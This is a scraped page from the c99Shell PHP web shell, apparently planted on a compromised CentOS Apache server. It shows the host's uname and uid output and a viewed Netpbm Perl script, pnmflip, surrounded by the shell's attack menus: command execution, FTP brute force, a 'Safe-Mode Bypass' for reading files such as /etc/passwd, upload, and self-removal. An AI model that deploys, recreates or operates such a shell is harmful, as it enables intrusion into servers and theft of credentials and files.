!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/bin/   drwxr-xr-x
Free 52.25 GB of 127.8 GB (40.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pnmflip (2.41 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl -w

#============================================================================
#  This is a compatibility interface to Pamflip.
#
#  It exists so existing programs and procedures that rely on Pnmflip
#  syntax continue to work.  You should not make new use of Pnmflip and
#  if you modify an old use, you should upgrade it to use Pamflip.
#
#  The one way that Pamflip is not backward compatible with Pnmflip is
#  that with Pnmflip, you can do this:
#
#     pnmflip -xy -tb
#
#  and that causes pnmflip to do both transformations (i.e. the same thing
#  as -r270).  With Pamflip, you can't specify multiple (or zero) flip
#  type options.  Instead, you would use the -xform option:
#
#    pamflip -xform=transpose,topbottom
#
#============================================================================

use strict;
use File::Basename;
use Cwd 'abs_path';

my $xformOpt;
my @miscOptions;
my $infile;

$xformOpt = '-xform=';  # initial value 

@miscOptions = ();

foreach (@ARGV) {
    if (/^-/) {
        # It's an option
        if (/^-lr$/ || /^-le.*$/) {
            $xformOpt .= "leftright,";
        } elsif (/^-tb$/ || /^-to.*$/) {
            $xformOpt .= "topbottom,";
        } elsif (/^-x.*$/ || /^-tr.*$/) {
            $xformOpt .= "transpose,";
        } elsif (/^-r9.*$/ || /^-rotate9.*$/ || /^-cc.*$/) {
            $xformOpt .= "transpose,topbottom,";
        } elsif (/^-r1.*$/ || /^-rotate1.*$/) {
            $xformOpt .= "leftright,topbottom,";
        } elsif (/^-r2.*$/ || /^-rotate2.*$/ || /^-cw$/) {
            $xformOpt .= "transpose,leftright,";
        } else {
            # It's not a transformation option; could be a Netpbm common
            # option.
            push(@miscOptions, $_);
        }
    } else {
        # It's a parameter
        if (defined($infile)) {
            print(STDERR
                  "You may specify at most one non-option parameter.\n");
        } else {
            $infile = $_;
        }
    }
}

# Finish off the -xform option by removing any trailing comma

$/ = ',';
chomp($xformOpt);

my $infileParm = defined($infile) ? $infile : "-";

# We want to get Pamflip from the same directory we came from if
# it's there.  Frequently, the directory containing Netpbm programs is
# not in the PATH and we were invoked by absolute path.

my $my_directory = abs_path(dirname($0));
$ENV{"PATH"} = $my_directory . ":" . $ENV{"PATH"};

exec("pamflip", @miscOptions, $xformOpt, $infileParm);

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]--